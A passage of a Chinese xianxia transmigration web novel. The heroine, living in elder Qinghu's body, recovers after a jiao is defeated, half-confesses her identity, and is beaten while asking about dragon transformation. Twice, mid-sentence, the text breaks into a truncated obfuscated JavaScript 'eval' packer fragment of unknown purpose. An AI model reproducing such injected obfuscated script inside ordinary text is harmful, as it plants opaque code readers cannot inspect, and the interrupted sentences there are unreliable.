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他号召在场鼎山弟子想象自己身处晨练之地,受到龙息压迫。片刻之后众人周身压迫明显,但不远处的蛟丝毫没有受到影响。 ——仿佛那条蛟早就做好准备。 “别试了,快点用剑阵!”齐云鲤催促,她已经快维持不住那边的阵法。 上次众人吸引龙息过来,龙息就冲过去震慑蛟。可这次龙息过来却并没有扑向前方的蛟。 宋安合见蛟所在的位置有卫池,一人一蛟虽然没有直接打起来,却一追一躲。仿佛那条蛟跟卫池有深仇大恨,绝不放过他。 上次蛟的四周并没有其他人,卫池跟鼎山弟子站在一起。 看起来是鼎山弟子布阵,实际上是卫池在带动他们。 “唉,群龙无首啊……”宋安合低头感叹,然后迅速叫鼎山弟子铺设剑阵。 等众人做好准备,齐云鲤就大喊一声:“你打一下!” 由于那边情况恶劣,她还刻意施法布阵,让声音传得更清晰。 不远处的卫池听到这句话就抽剑劈去。 他劈下的那一剑平平无奇,但一剑背后还有千百道剑影紧随其后。 成百上千道剑刃径直劈下,犹如九天之上垂直而下的锋芒,再怎么强悍也敌不过从天而降的这一击。 于是那条蛟就被这一剑给劈得烟消云散,化形解除。 前一刻还将四周碾成废墟的庞大身躯荡然无存,只剩下一个人影。 其他人见状马上就打过去,齐云鲤猛然想起那个鼎山弟子的魂魄还没找回来,于是就玩命冲过去。 但她跑得快,那些攻击更快。 千钧一发之际齐云鲤只能打向出手的那几人,而她此举又被旁人认为是敌对势力,原本打鼎山弟子的那些攻击瞬间就扑过来。 齐云鲤无可奈何,只能施法将那个鼎山弟子躯体里的魂魄打出去。 接着她就被众人打倒在地。 等卫池冲过来扶起她时,他已经伤势不轻、遍体鳞伤。 可齐云鲤仿佛只剩一口气,低声说:“魂魄在这里。” 然后拿出那个环形挂坠,看起来十分感人。 接着孙峥湖就冲过来,着急解释:“他们不是故意的,不是故意的。” 齐云鲤并不计较此事,只是想趁机挽回一点局面。 “没事,打成这样青江也就放心了。” 这本是借机说出罗白音的担忧,让她放心,以此减轻自己的嫌疑。 不过孙峥湖猛然一愣:“啊,青江师伯不是仙逝很多年了吗?” ——大事不好! 那么罗白音是什么意思? 齐云鲤两眼一闭,还是昏迷算了。 24. 坦白从宽 夜已深沉,但鼎山医馆却热闹非凡,大家都在好奇之前究竟怎么回事。 三更半夜突然地动山摇,鼎山弟子都被吓醒,然后就有人被孙峥湖紧急叫出去帮忙。 山崩地裂又持续一段时间才彻底停止,之后回来的鼎山弟子都很兴奋,不过被抬回来的青湖师叔看起来命不久矣。 虽然青滔和卫池都是一身伤,但谁也没有青湖看起来严重。 临时出去帮忙的鼎山弟子跟众人说起之前的事,那叫一个世间罕见。 有一条蛟在鼎山作乱,青湖师叔布阵困住它,卫池师弟就跟它搏斗,虽然没怎么打,但是格外凶险。 最后鼎山弟子齐心铺设剑阵,卫池运用剑阵一击,将那条蛟打回原型。原来那是个鼎山弟子,被人夺舍后就肆意妄为,搅得鼎山不得安宁。 之前的地动山摇都是他造成的。 青湖师叔与他较量时受伤严重,所以跟那个人一起送回来救治。 没人说青湖师叔是他们打的,谁也没这个胆子。 其他人也没计较青湖师叔是怎么受伤,毕竟还有件更令人震惊的事——剑阵。 鼎山剑阵乃青滔铺设,他说人人都能使用,但谁都无法使用。 碍于情面和他的威慑,其他人才不敢多嘴。 结果现在剑阵居然真的发挥作用,还参与击败蛟的战斗。 蛟就相当稀有,剑阵击败蛟更是想都不敢想,这都是前所未有的事。 一大群人在外面讨论得热火朝天,不过医馆室内却分外安静。 屋内是一间大病房,一排病床上只躺着两个人,另有四人在一旁。 其中一人是鼎山掌管医药的李宜敏,她将昏迷不醒的齐云鲤和那个鼎山弟子检查完,就说他们主要就是累的,休息一下就行。 李宜敏离开房间,孙峥湖才跟罗白音交代丹青宝卷情况。冬青一身粉色襦裙站在旁边,与罗白音身上的青灰底色和展翅飞鸟形成鲜明对比。 孙峥湖虽然在丹青宝卷里中途被抓,不过已经跟同行鼎山弟子问清后续情况。那个青湖师叔全程都在帮忙,能怎么帮就怎么帮,绝不吝啬。 “果然无害。”罗白音做出论断。 孙峥湖一再强调:“那群鼎山弟子不是故意打她的,当时情况比较复杂。蛟突然变回人形,众人过去攻击,她就挡住。” 说起来就是以一敌十,甚至以一敌百。 冬青有些好奇:“她被打也没事?” “本来只是有点虚弱,不过我过去解释时说青江师伯已经仙逝很多年她就直接晕了……”孙峥湖赶紧澄清。 他是在解释事情缘由,昏迷跟被打没有直接关系。 结果冬青大笑起来:“哈哈哈哈哈,她是被吓的!” 虽然当时没有亲耳听到罗白音的话,不过根据她的脾气也能猜到会说什么。 一个可疑人士占据青湖躯体,当然是要吓她。 孙峥湖十分疑惑:“我也没说什么啊?” ——他绝对没有出言恐吓。 “行了,你出去吧,”罗白音转动轮椅,正对齐云鲤,“就看她一会儿怎么跟我说。” 听到这里,孙峥湖知道已经没事,于是放下腰间小布袋就离开。 冬青打开布袋吃起来:“她果然是鼎山中人。” “身为鼎山中人还有这种实力,着实罕见。”罗白音说出真相。 鼎山弟子基本家境贫寒,从小到大没接触过修道方面的知识,而且资质平平。即使进入鼎山之后实力渐长,主要也是借助护山大阵与彼此配合来起到效果。 单独一人就有这种本事,只可能是鼎山长老。 从始至终行踪不明的鼎山长老只有青湖。 只有她才能做到,又刚好是用她躯体的另一个鼎山中人做到这件事。 谁也说不清楚是怎么回事。 ——那个鼎山中人究竟是谁? 罗白音长叹一声,又说出另一件事:“半个月之内就能两次化形为蛟,普天之下都找不出这种人。” “上次光靠龙息和剑阵就能打败他,这次龙息已经无效,还是卫池调动剑阵才击败那条蛟。”冬青也皱起眉头。 化形对修道人士来说是一件很简单的事。 不过化形对象越复杂,修为消耗得就越多,大多修道人士只能化形成基础形态的事物。越随处可见,化形难度越低。 因此越稀有则化形难度越高。 蛟在外形上很接近龙又十分罕见,所以化形难度不是一般的高。 通常来说,半年之内化形一次就是最快的。 面具人半个月之内化形两次,第二次还使用鼎山弟子的躯体,这已经不是正常修道人士能做到的。 冬青见罗白音眉头紧锁,就说:“不过两次他都被打败!” 再怎么厉害,两次都败在鼎山弟子手上。 即便是世间罕见的旷世奇才也敌不过平平无奇的鼎山弟子。 ——这是绝无可能又千真万确的事。 罗白音自然也想到这里,于是喝了一口茶:“等她醒来再问问。” 此时已是午夜时分,但鼎山医馆却热闹得仿佛日上三竿。 屋外鼎山弟子越说越激动,最后找到晨练长老商量增加剑阵的相关练习。 晨练长老大半夜冲出来保护鼎山弟子,结果转头发现有一伙人打完回来了。 回来之后还尽说些稀奇古怪的事,听得那群小孩热血沸腾。 他没亲眼见过,所以觉得虚无缥缈,只是一时不好回绝。 过了一会儿,秘境长老走过来递给他一个卷轴。 晨练长老只是摸了一下就知道是什么,那是鼎山用来镇压妖魔鬼怪的卷轴。 以前就听说过,不过眼下是第一次见。 “他们之前进去了,这是刚才那个卫池找回来的。”秘境长老话语肯定。 卫池事后在那边找了一圈总算找到丹青宝卷,然后就交给秘境长老。 他说这是师父赔的秘境,里面充满元气,变化多端,可以做为日常修炼工具使用。 秘境长老当然知道丹青宝卷是什么,不过之前从未接触过。 因此他最初没信那些话。 但卫池又举例说明,又领着他进去一游,最后从一个小院里拿卷轴带他离开。 秘境长老这才确信那就是丹青宝卷,有这个就没必要再准备秘境。 ——而且没想到青湖跟她徒弟这么情深意重。 因此他跟晨练长老郑重地说:“这里面有元气。” 元气过于飘渺,因此晨练长老讲得再多,也没有鼎山弟子能听懂。 如今这个卷轴里就有元气,那当然再好不过,于是他立即同意增加剑阵相关练习。 这边也热热闹闹讨论起来,不过角落里的卫池神色有点凝重。他面前站着青滔,此时正在说那条蛟的事。 “很久以前有人在水潭里见过蛟,不过后来再也不见踪影,”青滔眉头紧皱,“真龙消失不见,蛟也飘渺无定所,若是有蛟现身,定是修道人士化形而来。” 蛟是世间罕见之物,要想见到货真价实的蛟几乎绝无可能。 不过修为高深之人可以化形为蛟。 修道人士为了化形,便将大小事物都画在纸上,形成一张图谱。 有图谱就没必要亲眼见到那些事物。 ——蛟就在图谱上。 虽然图谱上也有龙,不过没人可以做到。 因此化形为蛟就成为最高级别。 “他的修为我们无法望到头。”青滔微微一叹。 “弟子明白,”卫池点点头,“不过今日师伯跟他的打斗实在令人惊叹,若是能传授给我,弟子必定不辱使命。” 青滔当时虽然被打进黑暗,不过也望见卫池用剑阵制伏那条蛟的画面。 即使只是化形,但那条蛟的实力不容小觑。 能用剑阵击败蛟就绝对不同凡响。 就算身为人炉,这也太过匪夷所思。 “她什么时候醒?”青滔只是询问,他对教小孩的事没兴趣。 卫池顺势说出关键:“那是曾出现在禁地的面具人,师父始终为此焦虑。若是弟子能分担压力,师父醒了以后也能稍微轻松一点。” 他态度特别诚恳,仿佛是个十分尊师重道的徒弟。 青滔绕开的话题又被绕回来,而且话里还有那个青湖。 如今世间被他打来打去也没事的人已经很难找到。 既然能帮她,实际也就是在帮青滔。 想到这里,他只好说:“下次打的时候你动作快一点。” “只要师伯将那种打架方法传授给我,弟子必定快如闪电。”卫池强调。 青滔还是很介意:“怎么这次是她躺在那里?” 他当时在远处只望见卫池用剑阵制伏蛟,但没看见那个人怎么就倒地不起。 “其实师父是冲过去替那个鼎山弟子挨打的。”卫池说出真相。 这是其他人都不敢说出来的。 青滔有点惊讶,之前见那群鼎山弟子小心翼翼护送那个青湖过来,他还以为是他们格外礼貌,没想到就是他们打的。 另外那个昏迷的鼎山弟子倒是没什么人留意。 “行吧,明天开始。”青滔说完就转身离开。 卫池恭敬回应:“多谢师伯,弟子必定准时到达。” 屋外谈拢一件事,不过屋内却还没开始,毕竟齐云鲤才刚睁开双眼。 她见到坐在旁边的罗白音就冷汗直流,冬青说了好几句话她也没精神留意。 “三更半夜,动静挺大。”罗白音的声音还算平和。 不过齐云鲤感觉那是在打自己,于是赶紧小声说:“我要交代一件事。” 具体发生什么,罗白音和冬青都清楚,不过这时她们只是沉默点头。 就在这一瞬间,齐云鲤已经想好完整说辞。 “其实我是青湖叫过来代行职责的。”她语气平静。 无论如何都得有个正当理由,反正自己不是作奸犯科之辈。 “禁地那个面具人绝非等闲之辈。” ——都怪那个人,不关她的事! 罗白音说得很无所谓:“我早就知道你不是青湖本人。” 齐云鲤只能感慨她一开始就说出青江,当然知道自己不是青湖。 不过重点不在这里。 “面具人是凭空出现的,”齐云鲤尽量说得很平静,“之前查无此人。” “他能半个月之内两次化形为蛟,确实查无此人。”罗白音点点头。 “我之前也化形为蛟了……”齐云鲤顺势说。 冬青十分激动,冲过来大声说:“所以你要化龙!” 她身上的粉色襦裙仿佛闪着磷光,齐云鲤心头一紧,只好赶紧转移话题。 “他知道青湖不好对付,所以想抢先一步。” ——重点是面具人,不是她! “判断正确。”罗白音评价。 “青湖事先就察觉到他的存在,因此有所准备。”齐云鲤说得名正言顺。 “你就是她的准备?”罗白音并没有完全认可,“你这么容易就接受?” 这种态度实在出乎所料,齐云鲤还没想到这种事,只好装可怜。 “其实我被骗了……”她长叹一口气,仿佛真有其事。 不过没想到这种说法正好跟青湖吻合,她就是个习惯招摇撞骗的人。 罗白音一副看戏不嫌事大的样子:“那你怎么不演好她的模样,骗骗我们?” 这个问题难以妥善回答,齐云鲤只好又叹一口气:“我实在无法接受……” “一般人都无法接受。”罗白音笑起来,而且是真的笑。 冬青笑道:“她上次说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如此还以鼎山为目标,可见绝非常人。 “此话怎讲?”罗白音严肃起来。 齐云鲤强调:“具体情况我不清楚,不过估计跟龙息和龙鼓论战有关。” 鼎山地处偏远,没有什么吸引人的东西。 不过龙息和龙鼓论战就不同凡响。 ——因为那跟真龙有关。 真龙已经消失几百年,化龙之人依然遥遥无期。 冬青十分好奇:“难道他要化龙?” 在她看来这基本没有可能。 “他两次化形为蛟,可能是因为无法化形为龙。”齐云鲤只是推测。 冬青大声说:“所以你要化龙!” 她刚才还穿着粉色襦裙,喊出这句话瞬间就变成甲胄。 甲胄出现时还带有几缕白烟,仿佛是真龙吞云吐雾。 齐云鲤感觉若是否定这个计划,可能会被咬破喉咙。 因此只能说:“我先研究一下。” “你知道如何研究么?”罗白音问得很认真。 齐云鲤只能摇头。 “去请教一下青滔师伯吧。” 话说到这里,齐云鲤只能接受继续挨打的事。 罗白音郑重强调:“化龙关系重大,不能让其他人知道。” 齐云鲤深有体会,不禁点点头。 冬青见她点头,这才心满意足。 可是没想到此时还响起另一个声音。 “我还活着呢……” 那是隔壁床的鼎山弟子,他之前昏睡不醒,不过现在已经睁开双眼。 从发言来看,他听到的不少。 “不能说出去,知道吗?”冬青冲过去,一巴掌拍在他嘴上。 她身上甲胄泛着凶光,那个鼎山弟子吓得直点头。 “你叫什么名字?”冬青有点威胁的意味。 有点阅历的就知道不能说出口。 但那个鼎山弟子还真的和盘托出:“吴明。” 他先把头后仰,说完话又低头让冬青捂住嘴。 齐云鲤都被这憨傻模样惊呆,罗白音瞟了一眼就不再管那边。 “刚才听到的话一个字都不准说出去,知道吗?”冬青继续威胁。 吴明赶紧点头,发现嘴巴移位又马上凑回去。 屋里发生着让人哑口无言的事,卫池独自站在屋外沉思。 方才已经跟青滔确定明日开始转变学剑方式,这时他就在想自己的剑法还有什么问题。虽然今日最终击败那条蛟,但也是借助剑阵之力,如果只有自己恐怕难以做到。 孙仲礼走过来小声询问:“齐……青湖师叔没事吧?” 那是个穿书者,也就是自己人,所以他很担心。 “没什么大碍,不必担心,”卫池说得很概括,见他神色依然担忧便补充,“之前负责医疗的鼎山弟子走出来,说休息一下就行。” 之前李宜敏走出医馆病房,四周的人都很焦急,她就稍微解释两句。 虽然说得不多,但她态度平和、话音平静,鼎山弟子也就不再担心。 孙仲礼也望见那个负责医疗的鼎山弟子,她一脸轻松,完全不像有事。 但齐云鲤是穿书者,谁知道有没有异于常人的伤痛。 “你要不要进去看看,师父有事徒弟也应该关心吧?” 卫池原本毫不担心,但孙仲礼看起来有点焦急。 他就转身说:“那我进去探望一下。” 反正自己也有事要说。 孙仲礼赶紧点头,生怕动作一慢他就不再去。 卫池慢慢走过去敲门,里面有人让他自己进去,他就推开大门。 然后就看到个身着甲胄的女子跟鼎山弟子唠唠叨叨,两人说着说着就走去隔壁房间。 罗白音看到他也只是说:“你师父还要再休息一下。” 接着她就坐轮椅离开医馆,外面的鼎山弟子瞬间过去询问,将罗白音围住。 房间里只剩病床上的齐云鲤,她不由自主抖了一下。 这人之前还在砍她,感觉现在又是个动手的好时机。 25. 不能说的事 从外面走进来的卫池在齐云鲤看来格外凶神恶煞。 夜色深沉,他仿佛是从漆黑深渊里爬出来,俊秀容貌瞬间有点青面獠牙。 于是她赶紧交代:“我没事。” “谁问你这个?”卫池伸手布下阵法,不让他们的对话外传。 二人一站一躺,还算和颜悦色,看起来就是一对师徒。 不过当他们开口时,一切都变得匪夷所思。 “那要问什么?”齐云鲤有点战战兢兢。 卫池问得很认真:“九游仙姬后来跟你说了什么?” 众人提前离开丹青宝卷,那边必定还有事情没说。 没见过的人在凭空出现之处,必然会说没听过的事。 齐云鲤也不打算隐瞒,就说:“丹青宝卷是鼎山用来震慑妖魔鬼怪的。” 这种事早已知晓,卫池不由眉头一皱。 她赶紧补充:“察觉到鼎山出现可疑之处这才出现。” “可疑的是面具人,这次他与鼎山弟子交换魂魄,因此分外可疑,”为了让自己的话更加可信,齐云鲤又说,“丹青宝卷受妖魔鬼怪影响,所以经常变来变去,城内没什么变动是因为那两尊雕像。” 这话将丹青宝卷出现的缘由交代清楚,又打开一个新方向。 不过卫池没有理会最后提到的雕像,而是问:“鼎山弟子在城内布阵设防时,天上一暗一明是怎么回事?” 虽然当时的明暗变化对他们没有影响,但背后可能藏着什么。 他没在意那两尊雕像,齐云鲤也没气馁。 只是继续说:“当时我们在城外打斗,巨蟒似乎忍无可忍就使出全部功法奋力一击,所以天色骤然转暗……” 她话音一停,卫池就配合地问:“然后呢?” “突然冲过来两道金光把黑云劈开,天色又变亮。”齐云鲤两眼放光,仿佛看到什么精彩绝伦之物。 这跟一暗一明的情况吻合,面具人出手的可能性很大。 卫池知道所说为实,便问:“金光哪里来的?” “出自那两尊雕像,九游仙姬说她们是外来者,”齐云鲤激动起来,“其中一个叫云玑子,蒙着眼睛的不清楚身份。” 她觉得这是天大的秘密,没人能料到。 谁知卫池低声感叹:“她叫云玑子啊……” 说得好像他认识一样。 ——之前经常一争高下,怎么连这种事都能争起来? “另一个不知道是谁。”齐云鲤赶紧强调,生怕风头又被抢。 卫池皱着眉头,看向左侧空床,不知道是在看什么。 过了一会儿他才说:“那是幽冥大帝。” 这话没有丝毫炫耀的意思,仿佛是在叹息。 但齐云鲤感觉这就是在打自己。 “……啊?”她完全想不到。 ,小说里的幽冥大帝是个大胡子老头,虽然这边的幽冥大帝换届换人,但这差距也太大。蒙眼女子看起来很年轻很清秀,有什么想不开的要干死人活? 而且如果那是在禁地布阵的人,就还认识自己。 不然怎么可能专门布阵设防。 齐云鲤完全不记得认识这么个人。 虽然自己貌似有点失忆,但不会这么巧吧? 越想越诡异,如果她认识幽冥大帝,那自己可能也有什么身份。 小说里还没露脸的只有秋容女仙,不过那是天下公敌,还是算了。 相传秋容女仙百年前挑起一场大战,她与几个高深莫测的修道人士大打出手,造成一连串灾害,导致死伤无数。 最后是那几人合力将她镇压,镇压在什么地方无人知晓,不过好歹不再有那种局面。 与此同时天地衰败愈发明显,世间灾害接连不断。 止水宗顺势而起,虽然无恶不作,但谁都无可奈何。据说菩提慧海是止水宗开山祖师,菩提慧海跟秋容女仙是好友,因此世人都认为他也不是善茬。 菩提慧海在世人面前出现过,虽然什么也没做,但大家都怀疑他。 要命的事太多,相比之下还是默默无闻比较安全。 无名无姓又不是不能发挥作用,今晚鼎山弟子铺设剑阵才将那条蛟制伏。 ——之前绝对没人想得到。 “那真是幽冥大帝?”齐云鲤还是难以接受。 卫池皱紧眉头看着她,明显不想说话。 “我先说,”她赶紧缓和氛围,“幽冥大帝和云玑子帮九游仙姬平定城内骚动,城内居民其实都是妖魔鬼怪。” 这是个不可多得的信息,因此卫池说出一件事。 “她们的雕像很多地方都有,你以后还会看到。” 齐云鲤很好奇:“那鼎山的雕像就是在丹青宝卷里?” 卫池没有说话,只是移开视线。 “天府之国的名字就是她们改的,说是能避免城内妖魔鬼怪受到外面影响,感觉很有效,”齐云鲤说完又赶紧补充,“我换一个问题。” “——这个幽冥大帝是不是很有用?” “你以为最开始在禁地是谁帮你挡的攻击?”卫池似乎有点嫌弃。 齐云鲤有点目瞪口呆:“禁地那个是幽冥大帝?” 这个消息过于震撼,她实在无法接受,自己不会真是秋容女仙吧? 虽然秋容女仙未必认识幽冥大帝,但她还没露脸,谁知道有什么秘密。 ——感觉这人尽在胡说八道。 看来只能去问石月观音,虽然可能她也不会说什么。 齐云鲤说了一大堆,什么也没得到。 “元气只能帮忙恢复,不能直接攻击。”她有点哀莫大于心死。 卫池没有认可这种说法:“不是还能调动剑阵?” 他说的是之前鼎山弟子用元气调动剑阵一事。 “面具人不通元气。”不过齐云鲤没有理会,她瞪他一眼就躺下。 事情太过错综复杂,她也不想管。 卫池见之前还小心翼翼的人现在直接闭眼躺下,不由皱起眉头。 不过还得说一件事,否则就是瞎操心。 “我已经把丹青宝卷给秘境长老,你就不用再管。” 之前说要赔秘境,现在将丹青宝卷给秘境长老,也算是两清。 ——这本是一件好事。 谁知齐云鲤瞬间就坐起来:“那秘境呢?” 她看起来还有点慌张,仿佛就要错过什么重大机遇。 卫池强调:“丹青宝卷就是秘境。” ——秘境已经赔了。 “但我还没做呢?”齐云鲤像是痛失百两黄金。 ——不做秘境她怎么知道背后的弯弯绕绕? “不用管了。”卫池不知道她在急什么。 事情已经了结,也算是种补偿。 齐云鲤气得不行:“我必须做秘境赔给他!” 大好机会绝不能错过,她仿佛是在郑重宣布,又像是在垂死挣扎。 卫池不知道她紧抓做秘境是干什么,只能说:“你有病吧?” 他眉头紧锁,若是这样那自己刻意找来丹青宝卷为的什么? 齐云鲤赌气地说:“我已经病入膏肓……” 她又闭眼躺下,还翻身转过去,似乎不想再说话。 见她一副不识好歹的模样,卫池只觉得好心当成驴肝肺。 他马上转身走出医馆房间,出去之后跟孙仲礼说师父休息一下就行,不用太过担心。 因此孙仲礼去劝说众人离这边远一点,以免吵闹。 安静的房间里,齐云鲤此时睡下是着急去找石月观音。 蒙眼女子是幽冥大帝,自己早就是鼎山中人,不知道还有什么事。 闭眼睡下,由于有明确事情要谈,所以魂魄不知不觉就来到一间破庙。 阴暗房间突现活人身影,石月观音这才点亮一盏灯,不过态度没那么积极。 齐云鲤刚被人气,结果又见她一脸阴沉,顿时就觉得不吉利。 “你又怎么了?”她十分疑惑。 石月观音也问:“你还没想起来?” “我正想跟你说一件与此有关的事,”齐云鲤郑重其事地说,“之前在禁地其实我被人所救,那个女的之后又救我好几次,明显认识我。男主说她是幽冥大帝,但我单纯只是个鼎山中人?” 双方说得显然不是同一件事。 石月观音没有回答,只是皱眉盯着她好一阵子,最后长叹一声。 “……你还没想起来?”她语气十分无可奈何。 齐云鲤很疑惑:“我要想起什么?” 石月观音哑口无言,只能继续叹气。 “好了好了我跟你说件事,面具人又化形为蛟。”齐云鲤说出关键。 石月观音总算打起精神:“我就说他是作者,正常人根本就不可能又化形为蛟!这才半个月!这孙子坑了小说还过来害人!” 齐云鲤见她骂起来也不急。 既然蒙眼女子还是只字未提,那总该说点有用的,毕竟也不止那一个问题。 于是她就说出另一件事:“还有一个小学生穿书者,我亲自碰到了。” “……小学?”石月观音愣住。 齐云鲤强调:“小学低年级,反正没到十二岁。” “小小年纪怎么还看这种东西?”石月观音皱起眉头,显得十分嫌弃。 “基本是被坑了,他看起来经常被人欺负。” ——恨他就请他看《长夜道枯》,这是广大读者的公认事实。 小学低年级的看这种气死人不偿命的书当然不是好事。 不过石月观音只是问:“他话多吗?” “你干什么?”齐云鲤莫名其妙,该关心的不是这种事吧? 石月观音继续问:“他是不是很闹腾?” “你还嫌弃上了?” “不,我只是有点担心。”石月观音叹了一口气,低着头不再说话。 她站在那里只是沉默,似乎有什么非常沉重的事。 齐云鲤不知道她在担心什么,只能说一件振奋人心的事。 “鼎山有个专门震慑妖魔鬼怪的地方,是一个叫丹青宝卷的卷轴,”齐云鲤见石月观音抬头,又补充,“我刚从那里出来。” 但石月观音声音比较微弱:“修道门派基本都有洞天福地一类的地方。” 这是没有争议的事。 修道门派通常都会开辟一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“重点是他不知道!”石月观音仿佛中了头彩,结果又突然萎靡,“不过你还是不记得,他不知道也没用……” 她沉浸在某件毫无希望的事里,完全不再理会周边发生的事。 尽管齐云鲤又提起一堆丹青宝卷里的事,但石月观音不再回应。 不久之后她爬回莲花座,彻底变成一座雕像。 雕像做工很粗糙,齐云鲤稍微瞟一眼就看不下去,不过等她低头时却发现莲花座花瓣上签着不少人名。 笔迹各有不同,明显出自不同人之手。 有的稚嫩有的潦草,齐云鲤绕着莲花座转一圈,最后彻底愣住。 因为那里写着她的名字——齐云鲤,而且就是自己的笔迹。 字迹已经有点模糊,看起来比较陈旧,签名时间似乎很早。 而且那比其他名字都要模糊,仿佛是第一个签上去的。 ——难道她是第一个穿书者? 齐云鲤低头仔细一看,结果又在附近发现另一个同样模糊的签名——元真。 看起来像是“齐云鲤”和“元真”两个名字是同时写上去的。 这名字似曾相识,但又没有具体印象。 她也搞不清究竟怎么回事。 之前的其他穿书者哪里去了? 至今都没有解决问题,应该就不能回去,那么他们现在又在什么地方? ——自己又是什么时候来的? 屋内光线暗淡,她转头便看见外面的白玉兰,于是便走到窗边。 黑夜里玉兰花泛着微弱的光,既不耀眼也不闪亮,只是刚好可以让人看清黑暗中的花。 恍惚中,齐云鲤望见玉兰花下站着一个蒙眼女子。 她背对着自己,并没有回头。 齐云鲤打开大门想去确认她的身份,但走下台阶她就猛然一惊,然后醒了。 她仍位于鼎山医馆的病床上,窗外天色已明,四周寂静无声。 入睡之前外面还吵吵闹闹,结果现在出奇安静。 这让齐云鲤不禁想起玉兰花下那个蒙眼女子,顿时感觉不太对。 ——之前安静怎么现在还安静? 她爬下床推开门一看,医馆院落里真的空无一人。 不过鼎山其他地方看起来热闹非凡,一下子是晨练之地,一下子是禁地。全都轰隆隆的,好像大家都很忙。 齐云鲤不好意思再呆在这里,想起之前罗白音让她去请教青滔化龙的事,这就马上过去。 门口摆着个未曾见过的盒子,她打开一看发现里面装着吃的,于是就边吃边走。 白鹭坪空地上青滔和卫池都在,齐云鲤打个招呼就站在一旁观看,然后发现教学内容已经改变。 之前是完全遵循鼎山剑法,现在是彻底没有鼎山剑法。 虽然在校生有跳级的,但也不会直接从小学跳到大学吧? 白鹭坪上一教一学,其实卫池也发现问题。 青滔虽然对教学方法有所调整,但学起来有点奇怪。不过青滔能做到这一步已经前所未有,他便不好多说什么。 齐云鲤不知道其中细节,便指出问题——是要循序渐进而不是要突飞猛进。 青滔十分不满,他说:“过于循规蹈矩就只是普通鼎山弟子。” “昨天你被打趴下,最后还不是鼎山弟子出力?”齐云鲤一脸茫然。 她说完就发现不对劲,然后又被青滔打进山林。 26. 化龙之人 齐云鲤夺命狂奔,赶紧想办法转移青滔注意。 “我是来向你请教化龙之事,不是来挨打的……” “化龙不容易,你先体验一下有多难。”青滔说得顺理成章,然后抓住她一顿暴打。 青滔在打斗时不会刻意使用功法,但齐云鲤觉得还不如使用。 毕竟面对功法还能思考一下怎么应对,没有功法就只有剑法。 鼎山上下没有人的剑法能胜过青滔。 无论怎么出类拔萃,在他面前都只是儿戏。 “我已深刻领教过,”她拔剑挡住一击,手都震得有些麻,“不用继续吧?” 挡住一剑还有一剑,青滔挥剑劈下:“门槛都没到。” “难到那种程度,化龙是有什么想不开的?”齐云鲤被打得很疑惑,完全想不通是怎么回事。 通常来说对自己有利才会化形。 齐云鲤要去偷看卫池的晨练情况,所以化形成燕子。 面具人要无人能敌,所以化形成蛟。 没有谁会为了费力不讨好的事而化形。 这话十分匪夷所思,说得好像化龙难于上青天。 既然如此,直接变成鸟雀飞上去不就行? “——因为必须做。”青滔难得回答一个问题。 他一脚把齐云鲤踢上天,然后冲过去猛砍,仿佛有什么血海深仇。 这世上还有费力不讨好又必须做的事?完全无法理解。 齐云鲤艰难抵挡,挡到最后感觉都没希望。 昨晚青滔被扫进黑暗,她还以为自己能有点胜算,结果发现全是幻想。 当时自己站在那里,只是因为还没打到她。 如果她去对付那条蛟,恐怕渣都不会剩。 不过最后鼎山弟子出手,与卫池合作就将那条蛟打回原形。 这么一看,鼎山弟子还挺非同凡响。 于是齐云鲤说:“昨天鼎山弟子铺设剑阵的效果不错,不如让他们化龙?” “你闭嘴吧!”青滔剑势更猛,恨不得将她挫骨扬灰。 白鹭坪山林里的打斗尤其激烈,已经有树精悄悄移过去,帮其他树木赶紧转移位置。因此打斗时间越长,那片地方越空,最后附近已经空无一物。 青滔总算发现四周空荡荡,齐云鲤也有点愣。 ——之前不还是山林密布? “你去搬回来!”青滔大吼一声就走了。 她晕头转向地东张西望,感觉不远处的树林仿佛密了一些。 过了一会儿那边走出来个瘦小树精,中间偏上的位置还有一块树皮是空的。 齐云鲤突然想起之前在山下配合演戏的树精、野猪精和老鼠精。 “你现在能到这里来了?”她十分不可思议。 树精说:“木片里的龙息还没用完。” 木片里的龙息出自禁地,因此能平衡鼎山上下的龙息压迫。 带着那些就能自由出入鼎山,仿佛一张门票。 因此树精把龙息当门票用。 不过没想到还能爬到地势这么高的白鹭坪。 “你能不能把其他树搬回来?” “……你们能不能别在这边打了?” 双方同时发问,齐云鲤也发现怎么回事,就是她跟青滔二人的打斗太过激烈,对这一带的树木造成威胁。 之前经常一路砍断枝叶,这边的树实在受不了。 再这么砍下去,断的估计就不止枝叶。 “我以后不过来打了,你让他们回来吧。”齐云鲤说出这句话就转身离开。 当时那三个妖精逃得不见踪影,她还担心龙息会不会太少,不过现在看来恰到好处。 回到白鹭坪空地的齐云鲤格外安分,因此青滔便不再打她,而是调整教学方法后重新教卫池剑法。 教学方法调整过后教得格外顺畅,卫池没有任何疑惑,在青滔指导下完成一连串动作。不过他也不免对那个青湖刮目相看,没想到打完她青滔就改变方法。 白鹭坪的教学结束,虽然齐云鲤还不知道化龙具体操作,但已经明白就是费力不讨好的事。 既然如此那就没必要急,是福不是祸,是祸躲不过。 她跟卫池走出白鹭坪,发现路上站着两个人,正是晨练长老和秘境长老。 那两人先将她和卫池夸了一通,听得齐云鲤都感觉自己金榜题名。 然后就请他们带鼎山弟子去丹青宝卷一趟。 虽然秘境长老亲自去过,不过缺乏实际经验,只是粗略看过一眼。 而且上次卫池去拿卷轴时,他听到有女子咆哮大吼,谁知道那是什么人。 打架的事怎么看都是青湖更擅长。 因此他们二人来请青湖师徒带鼎山弟子进丹青宝卷一游。 鼎山方面已经出具正式文书,到时候交给那边一看就行。 齐云鲤无话可说,之前卫池说已经将丹青宝卷交给秘境长老她就感觉不对。 没想到还有这种事,真是坏事年年有,今年特别多。 不过想到鼎山弟子合力布阵一事,她也只能勉强接受。 趁着还有精力就多干点好事,以免大难临头束手无策。 只是丹青宝卷和秘境终究是两件事,不能顾此失彼。 于是进去之前,齐云鲤一直在问丹青宝卷的事,不过问着问着就绕到秘境。进去之后,齐云鲤更是直接问起秘境的事。 卫池被烦得不行,关键是她同时还带上鼎山弟子,他又不能不说。 鼎山弟子仿佛旅游观光一样,在丹青宝卷里转了一圈。 